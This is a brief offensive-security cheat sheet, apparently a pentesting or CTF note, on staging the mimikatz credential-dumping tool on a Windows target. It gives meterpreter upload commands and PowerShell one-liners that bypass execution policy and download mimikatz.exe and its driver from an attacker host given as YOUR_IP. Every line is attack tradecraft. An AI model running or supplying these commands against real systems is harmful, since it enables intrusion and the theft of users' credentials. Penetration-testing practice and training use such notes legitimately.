

mimikatz

You will need to first upload the binaries to the target, either via a meterpreter shell or powershell:

meterpreter

```
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe  
upload /usr/share/windows-resources/mimikatz/x64/mimidrv.sys
```

powershell

```
powershell -ep bypass -c iwr YOUR_IP/mimikatz.exe -o .\mimikatz.exe  
powershell -ep bypass -c iwr YOUR_IP/mimidrv.sys -o .\mimidrv.sys
```
